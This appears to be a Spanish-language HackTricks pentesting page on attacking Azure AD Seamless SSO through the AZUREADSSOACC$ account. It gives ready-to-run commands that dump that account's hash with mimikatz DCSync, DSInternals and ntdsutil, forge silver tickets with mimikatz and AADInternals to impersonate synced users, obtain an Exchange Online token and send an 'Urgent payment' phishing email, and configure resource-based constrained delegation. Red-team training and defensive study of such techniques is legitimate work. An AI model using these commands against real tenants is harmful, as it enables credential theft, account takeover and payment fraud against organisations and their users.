Az - Seamless SSO

Aprende hacking de AWS de cero a héroe con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Información Básica

Desde la documentación: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) inicia sesión automáticamente a los usuarios cuando están en sus dispositivos corporativos conectados a la red corporativa. Cuando está habilitado, los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a tus usuarios acceso fácil a tus aplicaciones basadas en la nube sin necesidad de componentes adicionales locales.

Básicamente, Azure AD Seamless SSO inicia sesión a los usuarios cuando están en un PC unido a un dominio local.

Es compatible con tanto PHS (Sincronización de Hash de Contraseña) como PTA (Autenticación de Pase).

El SSO de escritorio utiliza Kerberos para la autenticación. Cuando está configurado, Azure AD Connect crea una cuenta de computadora llamada AZUREADSSOACC$ en el AD local. La contraseña de la cuenta AZUREADSSOACC$ se envía en texto plano a Azure AD durante la configuración.

Los tickets de Kerberos están encriptados utilizando el NTHash (MD4) de la contraseña y Azure AD utiliza la contraseña enviada para descifrar los tickets.

Azure AD expone un punto final (https://autologon.microsoftazuread-sso.com) que acepta tickets de Kerberos. El navegador de la máquina unida al dominio reenvía los tickets a este punto final para el SSO.

Local -> nube

La contraseña del usuario AZUREADSSOACC$ nunca cambia. Por lo tanto, un administrador de dominio podría comprometer el hash de esta cuenta, y luego usarlo para crear tickets plateados para conectarse a Azure con cualquier usuario sincronizado localmente:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Con el hash ahora puedes generar tickets de plata:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Para utilizar el "silver ticket", se deben seguir los siguientes pasos:

  1. Iniciar el Navegador: Se debe abrir Mozilla Firefox.

  2. Configurar el Navegador:

  3. Acceder a la Aplicación Web:

    • Visitar una aplicación web integrada con el dominio AAD de la organización. Un ejemplo común es Office 365.

  4. Proceso de Autenticación:

    • En la pantalla de inicio de sesión, ingresar el nombre de usuario y dejar en blanco el campo de contraseña.

    • Para continuar, presionar TAB o ENTER.

Esto no evita la MFA si está habilitada.

Creación de tickets Kerberos para usuarios solo en la nube

Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden establecer un SID para cualquier usuario en la nube. De esta manera, los tickets Kerberos también se pueden crear para usuarios solo en la nube. El único requisito es que el SID sea un SID adecuado.

Cambiar el SID de los usuarios administradores solo en la nube está bloqueado por Microsoft. Para obtener más información, consultar https://aadinternals.com/post/on-prem_admin/

On-prem -> Nube a través de la Delegación Restringida Basada en Recursos

Cualquiera que pueda administrar cuentas de computadora (AZUREADSSOACC$) en el contenedor o Unidad Organizativa en la que se encuentre esta cuenta, puede configurar una delegación restringida basada en recursos sobre la cuenta y acceder a ella.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Referencias

Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización